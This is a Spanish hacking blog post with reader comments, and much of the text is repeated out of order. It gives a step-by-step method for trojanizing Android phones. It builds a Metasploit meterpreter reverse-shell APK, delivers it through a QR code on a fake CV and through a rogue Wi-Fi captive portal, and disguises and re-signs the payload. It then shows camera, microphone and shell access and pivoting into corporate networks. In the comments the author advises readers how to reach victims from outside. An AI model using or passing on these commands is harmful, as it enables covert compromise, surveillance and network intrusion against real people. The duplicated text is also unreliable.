Cada día más personas utilizan smartphones y tablets para navegar por Internet y gestionar sus cuentas online. Por este motivo, los cibercriminales centran los ataques hacia estos dispositivos, lo que supone la aparición de nuevas amenazas y malware.
Durante este año, el 98,09% de los ataques móviles fueron dirigidos al sistema operativo Android. Esto se debe a varios factores. En primer lugar, esta plataforma es muy popular ya que es el sistema operativo más utilizado en los smartphones, con una cuota de mercado del 70%. Además, la naturaleza de plataforma abierta del sistema operativo Android, la facilidad con la que se pueden crear las aplicaciones o la amplia variedad de mercados de aplicaciones (no oficiales) que existen influyen de manera significativa en la seguridad. Android le está ganando la partida al resto de sistemas operativos y ya es el software para móviles más utilizado en todo el mundo.
Por tanto, es un factor muy importante a tener en cuenta a la hora de securizar una red corporativa, o a la hora de planificar un ataque dirigido.
Los terminales inteligentes, pueden llegar a ser una puerta fácil, que nos abran las puertas a un objetivo bien securizado. En muchas redes y por descuido del usuario, suelen ser aparatos confiables... Ejemplo claro sería el móvil del jefe, conectado por wifi a la red , que da al traste con todas las políticas de IT, creerme que es más usual de lo que debiera.
En esta serie de entradas vamos a ver como poder echar mano a este recurso....
También podríamos utilizar cualquier otro tipo de backdoor para android, o incluso aprovechar herramientas que pueden estar albergadas en el sistema, como veremos en entradas posteriores...
Para el que necesite más detalles sobre este módulo, me viene a la cabeza un buen artículo de SbD.
Para la infección veremos un par de ejemplos sencillos, aunque este apartado sólo esta limitado por la imaginación del artista...
#sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1..121 LPORT=4444 R > /root/Desktop/wifi.apk
(luego veremos lo que puede hacer saltar nuestras alarmas)..
Arrancamos SET y seguimos estos pasos:
1) Social-Engineering Attacks
Seleccionamos la opción
9) QRCode Generator Attack Vector
Ingresaremos la url donde hemos subido nuestra apk.
El siguiente paso requiere de algo de ingeniería social para hacer llegar el código al objetivo:
Por ejemplo podemos mandar un currículum falso a recursos humanos de la empresa con el QR (que esta de moda) dando el enlace de la descarga... otra cosa sera que la víctima ejecute el archivo....cosa más que improbable.
iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 55555
Para el siguiente paso necesitamos tener instalado apache web server, y simular un hotspot ... para esto necesitaremos un index.html y un par de archivos php y ser algo creativos. Yo no me he esplayado mucho, pero cuanto más meticulosos seamos, mayor será la probabilidad de éxito, también podríamos clonar el hotspot de una cafetería, hotel etc...
No voy a entrar en el detalle de cada uno de los archivos, tan solo los describiré los más importantes y os dejo la descarga.
INDEX.html : nuestra página
log.php : se encarga de comprobar el login y de dejar pasar una vez hecho.
inf.php : filtra por user agent, si es android sirve una apk, si es un PC podría servir otro archivo ...tan solo está para android puesto es de lo que va la entrada...(el que quiera lo puede acabar y así tener un buen "atrapamoscas").
ficheros hotspot
Una vez descargada la carpeta , la copiamos a /var/www/hotspot (previamente creado) y le damos permisos...
Ahora tan solo nos queda configurar apache.
#cp /etc/apache2/sites-available/default hotspot
#nano hotspot
Editaremos las 3 primeras lineas
Ahora activamos el site:
#a2ensite hotspot
En /etc/apache2/ports.conf decimos por donde va a estar escuchando nuestro hotspot.
y añadimos la linea
127.0.0.1 hotspot
sed buenos ;P
Durante este año, el 98,09% de los ataques móviles fueron dirigidos al sistema operativo Android. Esto se debe a varios factores. En primer lugar, esta plataforma es muy popular ya que es el sistema operativo más utilizado en los smartphones, con una cuota de mercado del 70%. Además, la naturaleza de plataforma abierta del sistema operativo Android, la facilidad con la que se pueden crear las aplicaciones o la amplia variedad de mercados de aplicaciones (no oficiales) que existen influyen de manera significativa en la seguridad. Android le está ganando la partida al resto de sistemas operativos y ya es el software para móviles más utilizado en todo el mundo.
Por tanto, es un factor muy importante a tener en cuenta a la hora de securizar una red corporativa, o a la hora de planificar un ataque dirigido.
Los terminales inteligentes, pueden llegar a ser una puerta fácil, que nos abran las puertas a un objetivo bien securizado. En muchas redes y por descuido del usuario, suelen ser aparatos confiables... Ejemplo claro sería el móvil del jefe, conectado por wifi a la red , que da al traste con todas las políticas de IT, creerme que es más usual de lo que debiera.
En esta serie de entradas vamos a ver como poder echar mano a este recurso....
Troyanizando Android
Para el ejemplo, nos vamos a valer de un módulo de Metasploit, Android meterpreter, que cabe destacar que es una herramienta brillante desde su "simpleza", la cual sería muy fácil incluir en algún código a modo de 'backdoor' sin levantar muchas sospechas. A parte los creadores han dejado el código fuente y mucha información a nuestra disposición.También podríamos utilizar cualquier otro tipo de backdoor para android, o incluso aprovechar herramientas que pueden estar albergadas en el sistema, como veremos en entradas posteriores...
Para el que necesite más detalles sobre este módulo, me viene a la cabeza un buen artículo de SbD.
Para la infección veremos un par de ejemplos sencillos, aunque este apartado sólo esta limitado por la imaginación del artista...
Generando nuestro "caballo de troya"
Como dije anteriormente para ilustrar esta entrada nos va a bastar con android meterpreter, con el que vamos a generar una aplicación para infectar nuestro objetivo. No nos vamos a entretener mucho en detalles pero para el que conozca meterpreter y msfpayload no le será difícil enrevesar el proceso a fin de complicar su detección...
Tanto la elaboración como el ataque en sí difiere poco del meterpreter clásico:
Abriremos nuestro terminal y a typear:
Con esto generamos la aplicación, la cual nos está esperando en /root/Desktop/
recordar que la ip tiene que ser la de eth0 (o por donde nos entre internet).
recordar que la ip tiene que ser la de eth0 (o por donde nos entre internet).
Generando la infección
Vamos a ver dos métodos sencillos el primero todo un clásico "QR" y en el segundo utilizaremos un falso AP (que ya vimos en Hackplayers y con el fin de darle a este "cotarro" cierta continuidad interesante).1er método
Para la primera nos basta con subir nuestra aplicación a cualquier servidor y generar un código QR de enlace a esta, lo podemos hacer directamente con SET o con cualquier herramienta online para este fin.(luego veremos lo que puede hacer saltar nuestras alarmas)..
Arrancamos SET y seguimos estos pasos:
1) Social-Engineering Attacks
Seleccionamos la opción
9) QRCode Generator Attack Vector
Ingresaremos la url donde hemos subido nuestra apk.
El siguiente paso requiere de algo de ingeniería social para hacer llegar el código al objetivo:
Por ejemplo podemos mandar un currículum falso a recursos humanos de la empresa con el QR (que esta de moda) dando el enlace de la descarga... otra cosa sera que la víctima ejecute el archivo....cosa más que improbable.
2º método
Nuestro hotspot trampa
Aquí refinaremos nuestro engaño...
Nuestro hotspot trampa
10 min. Gimp, html basico...se puede mejorar. Mi gato que es de la Sgae reserva los derechos. |
Aquí refinaremos nuestro engaño...
Partiendo de la entrada anterior en la que creamos un punto de acceso falso, en esta ocasión añadiremos unas pequeñas modificaciones a nuestro AP para hacerlo pasar por un hotspot o portal cautivo lícito que ofrece servicio a Internet, y deberemos convencer al usuario a descargarse una aplicación y ejecutarla, para obtener un user y password válido.
Preparando la trampa
Si os acordáis, en el la entrada anterior hicimos un script para arrancar y darle las directrices a iptables al unisono se llamaba "RogueAP.sh"; en esta ocasión haremos otro que no es más que el mismo modificado con una regla más de iptables para crear el portal cautivo.
Si os dais cuenta tan solo le he añadido una linea. |
iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 55555
Para el siguiente paso necesitamos tener instalado apache web server, y simular un hotspot ... para esto necesitaremos un index.html y un par de archivos php y ser algo creativos. Yo no me he esplayado mucho, pero cuanto más meticulosos seamos, mayor será la probabilidad de éxito, también podríamos clonar el hotspot de una cafetería, hotel etc...
No voy a entrar en el detalle de cada uno de los archivos, tan solo los describiré los más importantes y os dejo la descarga.
INDEX.html : nuestra página
log.php : se encarga de comprobar el login y de dejar pasar una vez hecho.
inf.php : filtra por user agent, si es android sirve una apk, si es un PC podría servir otro archivo ...tan solo está para android puesto es de lo que va la entrada...(el que quiera lo puede acabar y así tener un buen "atrapamoscas").
ficheros hotspot
Una vez descargada la carpeta , la copiamos a /var/www/hotspot (previamente creado) y le damos permisos...
Ahora tan solo nos queda configurar apache.
Configurando Apache virtual host
Dado que llevo más de un asunto entre manos en mi servidor apache, para hacerlo que responda por el puerto 55555 que hemos configurado en Falsohotspot.sh anteriormente, y para hacer las cosas medio regular, he optado por configurarlo para que me sirva el hotspot como otro dominio en la máquina para ello seguiremos estos pasos...#cp /etc/apache2/sites-available/default hotspot
#nano hotspot
Editaremos las 3 primeras lineas
Ahora activamos el site:
#a2ensite hotspot
En /etc/apache2/ports.conf decimos por donde va a estar escuchando nuestro hotspot.
nano /etc/hosts
y añadimos la linea
127.0.0.1 hotspot
#/etc/init.d/apache2 restart
Con ésto hemos terminado de configurar apache.
Por último ejecutaremos visudo y añadiremos esta linea al final del archivo
www-data bt=(root) NOPASSWD:/sbin/iptables
Así no creo que engañe a nadie desde luego...... tendremos que hacer algunos cambios, no muy difíciles para tener alguna oportunidad....aquí solo lo voy a tocar muy superfluamente, pero se puede profundizar muchísimo más...sólo limitados por nuestros conocimientos..
Una vez instalada Apk_manager, vamos a llevar a cabo las siguientes acciones:
-descomprimiremos la aplicación.
-cambiaremos los archivos pertinentes.
-comprimiremos y firmaremos
Descomprimir la aplicacion: cogeremos el archivo creado con msfpayload lo situaremos en la carpeta place-apk-here-for-modding , arrancaremos la aplicacion con ./Scrit.sh , Nos preguntará si queremos limpiar la carpeta out, le diremos que NO.
Pulsaremos la opción 9.
Cambiar archivos: nos dirigimos a la carpeta Out y cambiamos los archivos que nos convengan.
Comprimir y firmar: pulsamos la opción 13 y tras esperar un rato ...Ctrl+C.. nos generará un archivo llamado repackaged-signed.apk en la carpeta place-apk-here for-mading. Copiaremos nuestra aplicacion modificada al directorio que previamente crearemos /var/www/hotspot/downloads.
Ya tenemos listo nuestro "atrapamoscas" para este ejemplo...Podemos echarle un par de horas para completarlo... proporcionarle habilidades sniffers, completar su detección de User Agent y enviar otra serie de archivos, o incluso exploit remotos al objetivo....y tendremos un cebo MUY LETAL..no sólo para Android....
Al cabo de un rato....vemos que nuestro objetivo picó...
Para ver que podemos hacer con meterpreter basta con hacer un help y nos dará un listado de sus posibilidades...
meterpreter>help
Entre algunas lindezas meterpreter nos permite hacer capturas con la cámara y el micro, tener un acceso a la shell del sistema con lo que esto supone, subir y descargar archivos.etc etc.
Debemos considerar la posibilidad de un acceso permanente al dispositivo, (que ya veremos), aparte de esto hay una opción muy interesante al igual que peligrosa, es la posibilidad de hacer port-relaying desde el terminal móvil... Sería un desastre que el usuario tuviese levantado la VPN que le da acceso a la red interna de la empresa....
meterpreter> portfwd add -l 80 -r 192.168.123.15 -p 80
MORALEJA : utiliza siempre el sentido común. Usuario de teléfono móvil precavido vale por dos. Cuidado con los archivos que llegan por mensajería instantánea, correo electrónico o de cualquier otra manera....tener un buen hábito para la seguridad informática vale por dos antivirus, y por último un firewall para tu teléfono te puede ahorrar mas de un dolor de cabeza...
Con ésto hemos terminado de configurar apache.
Por último ejecutaremos visudo y añadiremos esta linea al final del archivo
www-data bt=(root) NOPASSWD:/sbin/iptables
ALARMA!!
Hemos dicho que vamos a utilizar el POC de meterpreter para android.....(podríamos utilizar cualquier otra apk pero a sido lo primero que he agarrado).Así no creo que engañe a nadie desde luego...... tendremos que hacer algunos cambios, no muy difíciles para tener alguna oportunidad....aquí solo lo voy a tocar muy superfluamente, pero se puede profundizar muchísimo más...sólo limitados por nuestros conocimientos..
Vistiendo al lobo de cordero
Para realizar estos necesarios cambios, si queremos dar el pego (y es aquí donde he visto que yo solo me liado, podría haber cogido un soft mas adecuado) utilizaremos un tipo de aplicación a la que mi compañero Vicente es asiduo ;D Apk_manager.. lo tenemos de todos los sabores Linux, Windows, y macUna vez instalada Apk_manager, vamos a llevar a cabo las siguientes acciones:
-descomprimiremos la aplicación.
-cambiaremos los archivos pertinentes.
-comprimiremos y firmaremos
Descomprimir la aplicacion: cogeremos el archivo creado con msfpayload lo situaremos en la carpeta place-apk-here-for-modding , arrancaremos la aplicacion con ./Scrit.sh , Nos preguntará si queremos limpiar la carpeta out, le diremos que NO.
Pulsaremos la opción 9.
Cambiar archivos: nos dirigimos a la carpeta Out y cambiamos los archivos que nos convengan.
Comprimir y firmar: pulsamos la opción 13 y tras esperar un rato ...Ctrl+C.. nos generará un archivo llamado repackaged-signed.apk en la carpeta place-apk-here for-mading. Copiaremos nuestra aplicacion modificada al directorio que previamente crearemos /var/www/hotspot/downloads.
Ya tenemos listo nuestro "atrapamoscas" para este ejemplo...Podemos echarle un par de horas para completarlo... proporcionarle habilidades sniffers, completar su detección de User Agent y enviar otra serie de archivos, o incluso exploit remotos al objetivo....y tendremos un cebo MUY LETAL..no sólo para Android....
Explotando meterpreter android
Puff ya llegamos al final tranquilos....
Bueno a llegado el momento de comprobar si todo esta bien y arrancar nuestro invento...con una conexión a Internet por ETH0 (o en otra interface ya sea cableada o wireless) arrancaremos nuestro Hotspot con el script creado (no olvidar arrancar apache si no lo hemos hecho, y que eth0 tenga ip lo cual podemos forzar si es necesario con dhclient eth0), este a su vez arrancara nuestro servicio DHCP.
Arrancaremos msfconsole:
sudo msfconsole
use exploiter/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.121
set lport 4444
exploit
use exploiter/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.121
set lport 4444
exploit
Tan sólo nos queda esperar a nuestros nuevo/s amigos....
Al cabo de un rato....vemos que nuestro objetivo picó...
Para ver que podemos hacer con meterpreter basta con hacer un help y nos dará un listado de sus posibilidades...
meterpreter>help
Entre algunas lindezas meterpreter nos permite hacer capturas con la cámara y el micro, tener un acceso a la shell del sistema con lo que esto supone, subir y descargar archivos.etc etc.
Debemos considerar la posibilidad de un acceso permanente al dispositivo, (que ya veremos), aparte de esto hay una opción muy interesante al igual que peligrosa, es la posibilidad de hacer port-relaying desde el terminal móvil... Sería un desastre que el usuario tuviese levantado la VPN que le da acceso a la red interna de la empresa....
meterpreter> portfwd add -l 80 -r 192.168.123.15 -p 80
MORALEJA : utiliza siempre el sentido común. Usuario de teléfono móvil precavido vale por dos. Cuidado con los archivos que llegan por mensajería instantánea, correo electrónico o de cualquier otra manera....tener un buen hábito para la seguridad informática vale por dos antivirus, y por último un firewall para tu teléfono te puede ahorrar mas de un dolor de cabeza...
Un saludo, Manuel
sed buenos ;P
¿Porque habeis borrado los archivos html ?? Hace dias que estoy intentando en un laboratorio este mismo ejercicio y como no domino el html no entendia como crear el html para que guarde user y pass :'(
ResponderEliminarPlease re-upload!!
Saludos! fenomenos!
a sido sin querer y para actualizarlos espera que los subo
ResponderEliminarun saludo
Hola puedes resubir los archivos para el hotspot trampa por favor.un saludo
Eliminar¡¡¡Gracias fenómeno!!!
ResponderEliminarUn saludo!
Genial, y muy completo al estilo "plug&play". Solo una cosita, tengo metasploit 4.6.0 y no encuentro el módulo android meterpreter. Veo que en una captura aparece metasploi 4.8.0. He intentado descargar manualmente y al correr msf me tira error. ¿Podrías comentar como conseguir ese módulo? msfupdate no me sirve. Muchas gracias.
ResponderEliminarperdona por responder tan tarde....puedes descargarlo y instalarlo a mano simplemente guardandolo donde corresponde....
Eliminarhttp://www.rapid7.com/db/modules/exploit/android/browser/webview_addjavascriptinterface
Disculpen la ignorancia pero para desinfetar el telefono basta con eliminar la aplicacion?
ResponderEliminarsi basta con desinstalar la aplicacion
Eliminartodo esto entendiendo que lo trabajamos sobre la misma red__ verdad__ y como seria el caso para hacerlo desde el exterior gracias de antemano,
ResponderEliminartrabajando con tu ip publica y haciendo un forwarding port a tu maquina en el puerto de escucha , tan facil como eso
ResponderEliminarhola q puertos recomiendas ?..influye q uses kali en virtual box en lo de los puertos ?
EliminarManuel muy interesante ya he corrido las pruebas me interesaría saber como "Debemos considerar la posibilidad de un acceso permanente al dispositivo, (que ya veremos)" .... Gracias
ResponderEliminarEres todo un crack Manuel, me pondre con ello!!... por cierto a la par de ponerse con ello... Apoyo a Oswaldo, "considerar la posibilidad de un acceso permanente al dispositivo"...
ResponderEliminarGracias
Esperando el siguiente post... muy bueno!
ResponderEliminarando liado con examenes, acabo este junio ....prometo un año movidito....ala vejez voy a empezar programacion!! (loq me faltaba)
EliminarManuel vuelveee! te echamos de menos! ;)
Eliminarjajajajaja que tal vicente??? el martes 17 tengo el ultimo examen y vuelvo a tope!!!!
ResponderEliminarestoy intentando, creo que hice todo bien, ya cree la apk, y trato de instalarla en mi tablet para probar y me rechaza la instalacion, porque, si es que alguien puede ayudarme
ResponderEliminarAlguien me puede ayudar con este error
ResponderEliminarMeterpreter session 5 closed. Reason: Died
El enlance del hotspot no funciona alguien puede subirlo de nuevo
ResponderEliminarHola estimado Manuel, por favor puedes subir nuevamente el enlace a la pagina del portal cautivo, muchas gracias
ResponderEliminarHola puedes subir nuevamente los archivos del portal cautivo ya que dice que no están disponibles . un saludo
ResponderEliminar